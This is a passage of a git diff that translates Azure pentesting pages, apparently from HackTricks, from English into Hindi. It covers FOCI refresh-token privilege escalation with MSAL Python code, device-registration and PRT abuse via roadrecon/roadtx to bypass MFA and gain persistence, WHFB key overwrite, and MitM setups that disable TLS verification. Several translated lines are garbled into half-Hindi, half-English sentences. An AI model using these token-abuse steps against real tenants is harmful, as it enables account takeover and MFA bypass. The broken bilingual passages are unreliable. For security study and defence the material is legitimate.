का अनुकरण कर सकता है, क्योंकि प्राधिकरण सर्वर के लिए एप्लिकेशन की वैधता की पुष्टि करने का कोई तंत्र नहीं है। ## Authentication Tokens -There are **three types of tokens** used in OIDC: +OIDC में **तीन प्रकार के टोकन** होते हैं: -- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** The client presents this token to the resource server to **access resources**. It can be used only for a specific combination of user, client, and resource and **cannot be revoked** until expiry - that is 1 hour by default. -- **ID Tokens**: The client receives this **token from the authorization server**. It contains basic information about the user. It is **bound to a specific combination of user and client**. -- **Refresh Tokens**: Provided to the client with access token. Used to **get new access and ID tokens**. It is bound to a specific combination of user and client and can be revoked. Default expiry is **90 days** for inactive refresh tokens and **no expiry for active tokens** (be from a refresh token is possible to get new refresh tokens). - - A refresh token should be tied to an **`aud`** , to some **scopes**, and to a **tenant** and it should only be able to generate access tokens for that aud, scopes (and no more) and tenant. However, this is not the case with **FOCI applications tokens**. - - A refresh token is encrypted and only Microsoft can decrypt it. - - Getting a new refresh token doesn't revoke the previous refresh token. +- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** क्लाइंट इस टोकन को संसाधन सर्वर को **संसाधनों तक पहुँचने** के लिए प्रस्तुत करता है। इसे केवल उपयोगकर्ता, क्लाइंट और संसाधन के विशिष्ट संयोजन के लिए उपयोग किया जा सकता है और **समाप्ति तक रद्द नहीं किया जा सकता** - जो कि डिफ़ॉल्ट रूप से 1 घंटा है। +- **ID Tokens**: क्लाइंट को यह **टोकन प्राधिकरण सर्वर से प्राप्त होता है**। इसमें उपयोगकर्ता के बारे में बुनियादी जानकारी होती है। यह **उपयोगकर्ता और क्लाइंट के विशिष्ट संयोजन से बंधा होता है**। +- **Refresh Tokens**: एक्सेस टोकन के साथ क्लाइंट को प्रदान किया जाता है। इसका उपयोग **नए एक्सेस और ID टोकन प्राप्त करने** के लिए किया जाता है। यह उपयोगकर्ता और क्लाइंट के विशिष्ट संयोजन से बंधा होता है और इसे रद्द किया जा सकता है। डिफ़ॉल्ट समाप्ति **90 दिन** है निष्क्रिय रिफ्रेश टोकन के लिए और **सक्रिय टोकन के लिए कोई समाप्ति नहीं** (एक रिफ्रेश टोकन से नए रिफ्रेश टोकन प्राप्त करना संभव है)। +- एक रिफ्रेश टोकन को एक **`aud`** से, कुछ **scopes** से, और एक **tenant** से बंधा होना चाहिए और इसे केवल उस aud, scopes (और अधिक नहीं) और tenant के लिए एक्सेस टोकन उत्पन्न करने में सक्षम होना चाहिए। हालाँकि, यह **FOCI एप्लिकेशन टोकन** के साथ ऐसा नहीं है। +- एक रिफ्रेश टोकन एन्क्रिप्टेड होता है और केवल माइक्रोसॉफ्ट इसे डिक्रिप्ट कर सकता है। +- नया रिफ्रेश टोकन प्राप्त करने से पिछले रिफ्रेश टोकन रद्द नहीं होता है। > [!WARNING] -> Information for **conditional access** is **stored** inside the **JWT**. So, if you request the **token from an allowed IP address**, that **IP** will be **stored** in the token and then you can use that token from a **non-allowed IP to access the resources**. +> **Conditional access** के लिए जानकारी **JWT** के अंदर **स्टोर** की जाती है। इसलिए, यदि आप **अनुमत IP पते** से **टोकन का अनुरोध करते हैं**, तो वह **IP** टोकन में **स्टोर** किया जाएगा और फिर आप उस टोकन का उपयोग **गैर-अनुमत IP से संसाधनों तक पहुँचने** के लिए कर सकते हैं। ### Access Tokens "aud" -The field indicated in the "aud" field is the **resource server** (the application) used to perform the login. +"aud" फ़ील्ड में निर्दिष्ट फ़ील्ड **resource server** (एप्लिकेशन) है जिसका उपयोग लॉगिन करने के लिए किया जाता है। -The command `az account get-access-token --resource-type [...]` supports the following types and each of them will add a specific "aud" in the resulting access token: +कमांड `az account get-access-token --resource-type [...]` निम्नलिखित प्रकारों का समर्थन करता है और इनमें से प्रत्येक परिणामस्वरूप एक्सेस टोकन में एक विशिष्ट "aud" जोड़ेगा: > [!CAUTION] -> Note that the following are just the APIs supported by `az account get-access-token` but there are more. +> ध्यान दें कि निम्नलिखित केवल `az account get-access-token` द्वारा समर्थित APIs हैं लेकिन और भी हैं।
-aud examples +aud उदाहरण -- **aad-graph (Azure Active Directory Graph API)**: Used to access the legacy Azure AD Graph API (deprecated), which allows applications to read and write directory data in Azure Active Directory (Azure AD). - - `https://graph.windows.net/` +- **aad-graph (Azure Active Directory Graph API)**: पुराने Azure AD Graph API (deprecated) तक पहुँचने के लिए उपयोग किया जाता है, जो एप्लिकेशनों को Azure Active Directory (Azure AD) में निर्देशिका डेटा पढ़ने और लिखने की अनुमति देता है। +- `https://graph.windows.net/` -* **arm (Azure Resource Manager)**: Used to manage Azure resources through the Azure Resource Manager API. This includes operations like creating, updating, and deleting resources such as virtual machines, storage accounts, and more. - - `https://management.core.windows.net/ or https://management.azure.com/` +* **arm (Azure Resource Manager)**: Azure Resource Manager API के माध्यम से Azure संसाधनों का प्रबंधन करने के लिए उपयोग किया जाता है। इसमें वर्चुअल मशीनों, स्टोरेज खातों, और अधिक जैसे संसाधनों को बनाने, अपडेट करने और हटाने जैसी क्रियाएँ शामिल हैं। +- `https://management.core.windows.net/ or https://management.azure.com/` -- **batch (Azure Batch Services)**: Used to access Azure Batch, a service that enables large-scale parallel and high-performance computing applications efficiently in the cloud. - - `https://batch.core.windows.net/` +- **batch (Azure Batch Services)**: Azure Batch तक पहुँचने के लिए उपयोग किया जाता है, जो क्लाउड में बड़े पैमाने पर समानांतर और उच्च-प्रदर्शन कंप्यूटिंग एप्लिकेशनों को कुशलतापूर्वक सक्षम करता है। +- `https://batch.core.windows.net/` -* **data-lake (Azure Data Lake Storage)**: Used to interact with Azure Data Lake Storage Gen1, which is a scalable data storage and analytics service. - - `https://datalake.azure.net/` +* **data-lake (Azure Data Lake Storage)**: Azure Data Lake Storage Gen1 के साथ बातचीत करने के लिए उपयोग किया जाता है, जो एक स्केलेबल डेटा स्टोरेज और एनालिटिक्स सेवा है। +- `https://datalake.azure.net/` -- **media (Azure Media Services)**: Used to access Azure Media Services, which provide cloud-based media processing and delivery services for video and audio content. - - `https://rest.media.azure.net` +- **media (Azure Media Services)**: Azure Media Services तक पहुँचने के लिए उपयोग किया जाता है, जो वीडियो और ऑडियो सामग्री के लिए क्लाउड-आधारित मीडिया प्रसंस्करण और वितरण सेवाएँ प्रदान करता है। +- `https://rest.media.azure.net` -* **ms-graph (Microsoft Graph API)**: Used to access the Microsoft Graph API, the unified endpoint for Microsoft 365 services data. It allows you to access data and insights from services like Azure AD, Office 365, Enterprise Mobility, and Security services. - - `https://graph.microsoft.com` +* **ms-graph (Microsoft Graph API)**: Microsoft Graph API तक पहुँचने के लिए उपयोग किया जाता है, जो Microsoft 365 सेवाओं के डेटा के लिए एकीकृत एंडपॉइंट है। यह आपको Azure AD, Office 365, Enterprise Mobility, और Security सेवाओं जैसे सेवाओं से डेटा और अंतर्दृष्टि तक पहुँचने की अनुमति देता है। +- `https://graph.microsoft.com` -- **oss-rdbms (Azure Open Source Relational Databases)**: Used to access Azure Database services for open-source relational database engines like MySQL, PostgreSQL, and MariaDB. - - `https://ossrdbms-aad.database.windows.net` +- **oss-rdbms (Azure Open Source Relational Databases)**: MySQL, PostgreSQL, और MariaDB जैसे ओपन-सोर्स रिलेशनल डेटाबेस इंजनों के लिए Azure Database सेवाओं तक पहुँचने के लिए उपयोग किया जाता है। +- `https://ossrdbms-aad.database.windows.net`
### Access Tokens Scopes "scp" -The scope of an access token is stored inside the scp key inside the access token JWT. These scopes define what the access token has access to. +एक एक्सेस टोकन का स्कोप एक्सेस टोकन JWT के अंदर scp कुंजी के अंदर स्टोर किया जाता है। ये स्कोप परिभाषित करते हैं कि एक्सेस टोकन को क्या पहुँच प्राप्त है। -If a JWT is allowed to contact an specific API but **doesn't have the scope** to perform the requested action, it **won't be able to perform the action** with that JWT. +यदि एक JWT को एक विशिष्ट API से संपर्क करने की अनुमति है लेकिन **अनुरोधित क्रिया** को करने के लिए **स्कोप नहीं है**, तो यह उस JWT के साथ क्रिया करने में **असफल रहेगा**। ### Get refresh & access token example - ```python # Code example from https://github.com/secureworks/family-of-client-ids-research import msal @@ -107,17 +106,17 @@ from typing import Any, Dict, List # LOGIN VIA CODE FLOW AUTHENTICATION azure_cli_client = msal.PublicClientApplication( - "04b07795-8ddb-461a-bbee-02f9e1bf7b46" # ID for Azure CLI client +"04b07795-8ddb-461a-bbee-02f9e1bf7b46" # ID for Azure CLI client ) device_flow = azure_cli_client.initiate_device_flow( - scopes=["https://graph.microsoft.com/.default"] +scopes=["https://graph.microsoft.com/.default"] ) print(device_flow["message"]) # Perform device code flow authentication azure_cli_bearer_tokens_for_graph_api = azure_cli_client.acquire_token_by_device_flow( - device_flow +device_flow ) pprint(azure_cli_bearer_tokens_for_graph_api) @@ -125,83 +124,74 @@ pprint(azure_cli_bearer_tokens_for_graph_api) # DECODE JWT def decode_jwt(base64_blob: str) -> Dict[str, Any]: - """Decodes base64 encoded JWT blob""" - return jwt.decode( - base64_blob, options={"verify_signature": False, "verify_aud": False} - ) +"""Decodes base64 encoded JWT blob""" +return jwt.decode( +base64_blob, options={"verify_signature": False, "verify_aud": False} +) decoded_access_token = decode_jwt( - azure_cli_bearer_tokens_for_graph_api.get("access_token") +azure_cli_bearer_tokens_for_graph_api.get("access_token") ) pprint(decoded_access_token) # GET NEW ACCESS TOKEN AND REFRESH TOKEN new_azure_cli_bearer_tokens_for_graph_api = ( - # Same client as original authorization - azure_cli_client.acquire_token_by_refresh_token( - azure_cli_bearer_tokens_for_graph_api.get("refresh_token"), - # Same scopes as original authorization - scopes=["https://graph.microsoft.com/.default"], - ) +# Same client as original authorization +azure_cli_client.acquire_token_by_refresh_token( +azure_cli_bearer_tokens_for_graph_api.get("refresh_token"), +# Same scopes as original authorization +scopes=["https://graph.microsoft.com/.default"], +) ) pprint(new_azure_cli_bearer_tokens_for_graph_api) ``` - ## FOCI Tokens Privilege Escalation -Previously it was mentioned that refresh tokens should be tied to the **scopes** it was generated with, to the **application** and **tenant** it was generated to. If any of these boundaries is broken, it's possible to escalate privileges as it will be possible to generate access tokens to other resources and tenants the user has access to and with more scopes than it was originally intended. +पहले उल्लेख किया गया था कि रिफ्रेश टोकन को **स्कोप** से जोड़ा जाना चाहिए जिसके साथ इसे उत्पन्न किया गया था, **एप्लिकेशन** और **टेनेंट** से जिसे यह उत्पन्न किया गया था। यदि इनमें से कोई भी सीमा टूटती है, तो विशेषाधिकार बढ़ाना संभव है क्योंकि अन्य संसाधनों और टेनेंट के लिए एक्सेस टोकन उत्पन्न करना संभव होगा जिन तक उपयोगकर्ता की पहुंच है और जिनमें मूल रूप से निर्धारित से अधिक स्कोप हैं। -Moreover, **this is possible with all refresh tokens** in the [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) because as the [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) mention: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them." +इसके अलावा, **यह सभी रिफ्रेश टोकनों के साथ संभव है** [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra खाते, Microsoft व्यक्तिगत खाते, और Facebook और Google जैसे सामाजिक खाते) क्योंकि [**दस्तावेज़**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) में उल्लेख किया गया है: "रिफ्रेश टोकन उपयोगकर्ता और क्लाइंट के संयोजन से बंधे होते हैं, लेकिन **किसी संसाधन या टेनेंट से जुड़े नहीं होते**। एक क्लाइंट रिफ्रेश टोकन का उपयोग करके एक्सेस टोकन प्राप्त कर सकता है **किसी भी संसाधन और टेनेंट के संयोजन में** जहां उसे ऐसा करने की अनुमति है। रिफ्रेश टोकन एन्क्रिप्टेड होते हैं और केवल Microsoft identity platform उन्हें पढ़ सकता है।" -Moreover, note that the FOCI applications are public applications, so **no secret is needed** to authenticate to the server. +इसके अलावा, ध्यान दें कि FOCI एप्लिकेशन सार्वजनिक एप्लिकेशन हैं, इसलिए **सर्वर पर प्रमाणीकरण के लिए कोई रहस्य आवश्यक नहीं है**। -Then known FOCI clients reported in the [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) can be [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv). +फिर ज्ञात FOCI क्लाइंट्स [**मूल शोध**](https://github.com/secureworks/family-of-client-ids-research/tree/main) में रिपोर्ट किए गए हैं, जिन्हें [**यहां पाया जा सकता है**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv)। ### Get different scope -Following with the previous example code, in this code it's requested a new token for a different scope: - +पिछले उदाहरण कोड के साथ आगे बढ़ते हुए, इस कोड में एक अलग स्कोप के लिए एक नया टोकन मांगा गया है: ```python # Code from https://github.com/secureworks/family-of-client-ids-research azure_cli_bearer_tokens_for_outlook_api = ( - # Same client as original authorization - azure_cli_client.acquire_token_by_refresh_token( - new_azure_cli_bearer_tokens_for_graph_api.get( - "refresh_token" - ), - # But different scopes than original authorization - scopes=[ - "https://outlook.office.com/.default" - ], - ) +# Same client as original authorization +azure_cli_client.acquire_token_by_refresh_token( +new_azure_cli_bearer_tokens_for_graph_api.get( +"refresh_token" +), +# But different scopes than original authorization +scopes=[ +"https://outlook.office.com/.default" +], +) ) pprint(azure_cli_bearer_tokens_for_outlook_api) ``` - -### Get different client and scopes - +### विभिन्न क्लाइंट और स्कोप प्राप्त करें ```python # Code from https://github.com/secureworks/family-of-client-ids-research microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c") microsoft_office_bearer_tokens_for_graph_api = ( - # This is a different client application than we used in the previous examples - microsoft_office_client.acquire_token_by_refresh_token( - # But we can use the refresh token issued to our original client application - azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"), - # And request different scopes too - scopes=["https://graph.microsoft.com/.default"], - ) +# This is a different client application than we used in the previous examples +microsoft_office_client.acquire_token_by_refresh_token( +# But we can use the refresh token issued to our original client application +azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"), +# And request different scopes too +scopes=["https://graph.microsoft.com/.default"], +) ) # How is this possible? pprint(microsoft_office_bearer_tokens_for_graph_api) ``` - -## References +## संदर्भ - [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-device-registration.md b/src/pentesting-cloud/azure-security/az-device-registration.md index 5fe503c0b..ed8cf3a39 100644 --- a/src/pentesting-cloud/azure-security/az-device-registration.md +++ b/src/pentesting-cloud/azure-security/az-device-registration.md @@ -4,18 +4,16 @@ ## Basic Information -When a device joins AzureAD a new object is created in AzureAD. +जब एक डिवाइस AzureAD में शामिल होता है, तो AzureAD में एक नया ऑब्जेक्ट बनाया जाता है। -When registering a device, the **user is asked to login with his account** (asking for MFA if needed), then it request tokens for the device registration service and then ask a final confirmation prompt. +जब एक डिवाइस को पंजीकृत किया जाता है, तो **उपयोगकर्ता से उसके खाते के साथ लॉगिन करने के लिए कहा जाता है** (यदि आवश्यक हो तो MFA के लिए पूछना), फिर यह डिवाइस पंजीकरण सेवा के लिए टोकन का अनुरोध करता है और फिर अंतिम पुष्टि संकेत के लिए पूछता है। -Then, two RSA keypairs are generated in the device: The **device key** (**public** key) which is sent to **AzureAD** and the **transport** key (**private** key) which is stored in TPM if possible. - -Then, the **object** is generated in **AzureAD** (not in Intune) and AzureAD gives back to the device a **certificate** signed by it. You can check that the **device is AzureAD joined** and info about the **certificate** (like if it's protected by TPM).: +फिर, डिवाइस में दो RSA की जोड़े उत्पन्न होते हैं: **डिवाइस कुंजी** (**सार्वजनिक** कुंजी) जिसे **AzureAD** को भेजा जाता है और **परिवहन** कुंजी (**निजी** कुंजी) जिसे यदि संभव हो तो TPM में संग्रहीत किया जाता है। +फिर, **ऑब्जेक्ट** **AzureAD** में उत्पन्न होता है (Intune में नहीं) और AzureAD डिवाइस को एक **प्रमाणपत्र** वापस देता है जिसे उसने हस्ताक्षरित किया है। आप यह जांच सकते हैं कि **डिवाइस AzureAD से जुड़ा है** और **प्रमाणपत्र** के बारे में जानकारी (जैसे कि क्या यह TPM द्वारा सुरक्षित है)। ```bash dsregcmd /status ``` - After the device registration a **Primary Refresh Token** is requested by the LSASS CloudAP module and given to the device. With the PRT is also delivered the **session key encrypted so only the device can decrypt it** (using the public key of the transport key) and it's **needed to use the PRT.** For more information about what is a PRT check: @@ -26,8 +24,8 @@ az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md ### TPM - Trusted Platform Module -The **TPM** **protects** against key **extraction** from a powered down device (if protected by PIN) nd from extracting the private material from the OS layer.\ -But it **doesn't protect** against **sniffing** the physical connection between the TPM and CPU or **using the cryptograpic material** in the TPM while the system is running from a process with **SYSTEM** rights. +The **TPM** **की रक्षा करता है** against key **निकासी** from a powered down device (if protected by PIN) nd from extracting the private material from the OS layer.\ +But it **की रक्षा नहीं करता** against **sniffing** the physical connection between the TPM and CPU or **using the cryptographic material** in the TPM while the system is running from a process with **SYSTEM** rights. If you check the following page you will see that **stealing the PRT** can be used to access like a the **user**, which is great because the **PRT is located devices**, so it can be stolen from them (or if not stolen abused to generate new signing keys): @@ -38,7 +36,6 @@ az-lateral-movement-cloud-on-prem/pass-the-prt.md ## Registering a device with SSO tokens It would be possible for an attacker to request a token for the Microsoft device registration service from the compromised device and register it: - ```bash # Initialize SSO flow roadrecon auth prt-init @@ -50,49 +47,46 @@ roadrecon auth -r 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 --prt-cookie # Custom pyhton script to register a device (check roadtx) registerdevice.py ``` - -Which will give you a **certificate you can use to ask for PRTs in the future**. Therefore maintaining persistence and **bypassing MFA** because the original PRT token used to register the new device **already had MFA permissions granted**. +जो आपको **प्रमाणपत्र देगा जिसका उपयोग आप भविष्य में PRTs के लिए पूछने के लिए कर सकते हैं**। इसलिए स्थिरता बनाए रखना और **MFA को बायपास करना** क्योंकि नए डिवाइस को पंजीकृत करने के लिए उपयोग किया गया मूल PRT टोकन **पहले से ही MFA अनुमतियाँ दी गई थीं**। > [!TIP] -> Note that to perform this attack you will need permissions to **register new devices**. Also, registering a device doesn't mean the device will be **allowed to enrol into Intune**. +> ध्यान दें कि इस हमले को करने के लिए आपको **नए उपकरणों को पंजीकृत करने** की अनुमति की आवश्यकता होगी। इसके अलावा, एक उपकरण को पंजीकृत करना यह नहीं दर्शाता कि उपकरण **Intune में नामांकित होने की अनुमति दी जाएगी**। > [!CAUTION] -> This attack was fixed in September 2021 as you can no longer register new devices using a SSO tokens. However, it's still possible to register devices in a legit way (having username, password and MFA if needed). Check: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md). +> यह हमला सितंबर 2021 में ठीक किया गया था क्योंकि आप अब SSO टोकन का उपयोग करके नए उपकरणों को पंजीकृत नहीं कर सकते। हालाँकि, एक वैध तरीके से उपकरणों को पंजीकृत करना अभी भी संभव है (यदि आवश्यक हो तो उपयोगकर्ता नाम, पासवर्ड और MFA होना)। जांचें: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md)। -## Overwriting a device ticket +## एक डिवाइस टिकट को ओवरराइट करना -It was possible to **request a device ticket**, **overwrite** the current one of the device, and during the flow **steal the PRT** (so no need to steal it from the TPM. For more info [**check this talk**](https://youtu.be/BduCn8cLV1A). +यह संभव था कि **एक डिवाइस टिकट का अनुरोध करें**, **वर्तमान को ओवरराइट करें** और प्रवाह के दौरान **PRT चुराएं** (इसलिए TPM से इसे चुराने की आवश्यकता नहीं है। अधिक जानकारी के लिए [**इस वार्ता की जांच करें**](https://youtu.be/BduCn8cLV1A)।
> [!CAUTION] -> However, this was fixed. +> हालाँकि, इसे ठीक कर दिया गया था। -## Overwrite WHFB key +## WHFB कुंजी को ओवरराइट करें -[**Check the original slides here**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf) +[**यहाँ मूल स्लाइड देखें**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf) -Attack summary: +हमले का सारांश: -- It's possible to **overwrite** the **registered WHFB** key from a **device** via SSO -- It **defeats TPM protection** as the key is **sniffed during the generation** of the new key -- This also provides **persistence** +- यह संभव है कि **SSO के माध्यम से एक डिवाइस से **पंजीकृत WHFB** कुंजी को **ओवरराइट** करें +- यह **TPM सुरक्षा को पराजित करता है** क्योंकि कुंजी **नई कुंजी के निर्माण के दौरान स्निफ की जाती है** +- यह **स्थिरता** भी प्रदान करता है
-Users can modify their own searchableDeviceKey property via the Azure AD Graph, however, the attacker needs to have a device in the tenant (registered on the fly or having stolen cert + key from a legit device) and a valid access token for the AAD Graph. - -Then, it's possible to generate a new key with: +उपयोगकर्ता Azure AD ग्राफ़ के माध्यम से अपनी स्वयं की searchableDeviceKey संपत्ति को संशोधित कर सकते हैं, हालाँकि, हमलावर के पास टेनेट में एक उपकरण होना चाहिए (फ्लाई पर पंजीकृत या एक वैध उपकरण से प्रमाणपत्र + कुंजी चुराई गई) और AAD ग्राफ़ के लिए एक मान्य एक्सेस टोकन होना चाहिए। +फिर, यह एक नई कुंजी उत्पन्न करना संभव है: ```bash roadtx genhellokey -d -k tempkey.key ``` - -and then PATCH the information of the searchableDeviceKey: +और फिर searchableDeviceKey की जानकारी को PATCH करें:
-It's possible to get an access token from a user via **device code phishing** and abuse the previous steps to **steal his access**. For more information check: +एक उपयोगकर्ता से **device code phishing** के माध्यम से एक एक्सेस टोकन प्राप्त करना संभव है और पिछले चरणों का दुरुपयोग करके **उसकी एक्सेस चुराना**। अधिक जानकारी के लिए देखें: {{#ref}} az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md @@ -100,14 +94,10 @@ az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-en
-## References +## संदर्भ - [https://youtu.be/BduCn8cLV1A](https://youtu.be/BduCn8cLV1A) - [https://www.youtube.com/watch?v=x609c-MUZ_g](https://www.youtube.com/watch?v=x609c-MUZ_g) - [https://www.youtube.com/watch?v=AFay_58QubY](https://www.youtube.com/watch?v=AFay_58QubY) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md index 6a0dce1da..ee82b0bcf 100644 --- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md +++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md @@ -2,10 +2,10 @@ {{#include ../../banners/hacktricks-training.md}} -## Install PowerShell in Linux +## Linux में PowerShell स्थापित करें > [!TIP] -> In linux you will need to install PowerShell Core: +> Linux में आपको PowerShell Core स्थापित करने की आवश्यकता होगी: > > ```bash > sudo apt-get update @@ -14,11 +14,11 @@ > # Ubuntu 20.04 > wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb > -> # Update repos +> # रिपॉजिटरी अपडेट करें > sudo apt-get update > sudo add-apt-repository universe > -> # Install & start powershell +> # PowerShell स्थापित करें और शुरू करें > sudo apt-get install -y powershell > pwsh > @@ -26,58 +26,47 @@ > curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash > ``` -## Install PowerShell in MacOS +## MacOS में PowerShell स्थापित करें -Instructions from the [**documentation**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4): - -1. Install `brew` if not installed yet: +[**दस्तावेज़ीकरण**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4) से निर्देश: +1. यदि अभी तक स्थापित नहीं है तो `brew` स्थापित करें: ```bash /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" ``` - -2. Install the latest stable release of PowerShell: - +2. PowerShell का नवीनतम स्थिर संस्करण स्थापित करें: ```sh brew install powershell/tap/powershell ``` - -3. Run PowerShell: - +3. PowerShell चलाएँ: ```sh pwsh ``` - -4. Update: - +4. अपडेट: ```sh brew update brew upgrade powershell ``` - -## Main Enumeration Tools +## मुख्य एनुमेरेशन टूल्स ### az cli -[**Azure Command-Line Interface (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) is a cross-platform tool written in Python for managing and administering (most) Azure and Entra ID resources. It connects to Azure and executes administrative commands via the command line or scripts. +[**Azure कमांड-लाइन इंटरफेस (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) एक क्रॉस-प्लेटफ़ॉर्म टूल है जो Python में लिखा गया है, जो (अधिकतर) Azure और Entra ID संसाधनों का प्रबंधन और प्रशासन करने के लिए है। यह Azure से कनेक्ट करता है और कमांड लाइन या स्क्रिप्ट के माध्यम से प्रशासनिक आदेशों को निष्पादित करता है। -Follow this link for the [**installation instructions¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install). +[**स्थापना निर्देशों के लिए इस लिंक का पालन करें¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install)। -Commands in Azure CLI are structured using a pattern of: `az ` +Azure CLI में आदेशों को इस पैटर्न का उपयोग करके संरचित किया गया है: `az ` -#### Debug | MitM az cli - -Using the parameter **`--debug`** it's possible to see all the requests the tool **`az`** is sending: +#### डिबग | MitM az cli +पैरामीटर **`--debug`** का उपयोग करके यह देखना संभव है कि टूल **`az`** सभी अनुरोध भेज रहा है: ```bash az account management-group list --output table --debug ``` - In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can do: {{#tabs }} {{#tab name="Bash" }} - ```bash export ADAL_PYTHON_SSL_NO_VERIFY=1 export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1 @@ -90,42 +79,37 @@ export HTTP_PROXY="http://127.0.0.1:8080" openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem ``` - {{#endtab }} {{#tab name="PS" }} - ```bash $env:ADAL_PYTHON_SSL_NO_VERIFY=1 $env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1 $env:HTTPS_PROXY="http://127.0.0.1:8080" $env:HTTP_PROXY="http://127.0.0.1:8080" ``` - {{#endtab }} {{#endtabs }} ### Az PowerShell -Azure PowerShell is a module with cmdlets for managing Azure resources directly from the PowerShell command line. +Azure PowerShell एक मॉड्यूल है जिसमें Azure संसाधनों को सीधे PowerShell कमांड लाइन से प्रबंधित करने के लिए cmdlets होते हैं। -Follow this link for the [**installation instructions**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell). +[**स्थापना निर्देशों**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell) के लिए इस लिंक का पालन करें। -Commands in Azure PowerShell AZ Module are structured like: `-Az ` +Azure PowerShell AZ मॉड्यूल में कमांड इस प्रकार संरचित होते हैं: `-Az ` #### Debug | MitM Az PowerShell -Using the parameter **`-Debug`** it's possible to see all the requests the tool is sending: - +पैरामीटर **`-Debug`** का उपयोग करके यह देखना संभव है कि उपकरण सभी अनुरोधों को भेज रहा है: ```bash Get-AzResourceGroup -Debug ``` - In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can set the env variables `HTTPS_PROXY` and `HTTP_PROXY` according to the [**docs**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy). ### Microsoft Graph PowerShell -Microsoft Graph PowerShell is a cross-platform SDK that enables access to all Microsoft Graph APIs, including services like SharePoint, Exchange, and Outlook, using a single endpoint. It supports PowerShell 7+, modern authentication via MSAL, external identities, and advanced queries. With a focus on least privilege access, it ensures secure operations and receives regular updates to align with the latest Microsoft Graph API features. +Microsoft Graph PowerShell एक क्रॉस-प्लेटफ़ॉर्म SDK है जो सभी Microsoft Graph APIs, जैसे SharePoint, Exchange, और Outlook, तक पहुँचने की अनुमति देता है, एकल एंडपॉइंट का उपयोग करके। यह PowerShell 7+, MSAL के माध्यम से आधुनिक प्रमाणीकरण, बाहरी पहचान, और उन्नत क्वेरी का समर्थन करता है। न्यूनतम विशेषाधिकार पहुँच पर ध्यान केंद्रित करते हुए, यह सुरक्षित संचालन सुनिश्चित करता है और नवीनतम Microsoft Graph API सुविधाओं के साथ संरेखित करने के लिए नियमित अपडेट प्राप्त करता है। Follow this link for the [**installation instructions**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation). @@ -134,20 +118,14 @@ Commands in Microsoft Graph PowerShell are structured like: `-Mg [!TIP] -> This is replaced by Microsoft Graph PowerShell - -Follow this link for the [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD). - - - +> इसे Microsoft Graph PowerShell द्वारा प्रतिस्थापित किया गया है +[**स्थापना निर्देशों**](https://www.powershellgallery.com/packages/AzureAD) के लिए इस लिंक का पालन करें। diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md index e53ceb412..a7ad3e09f 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md +++ 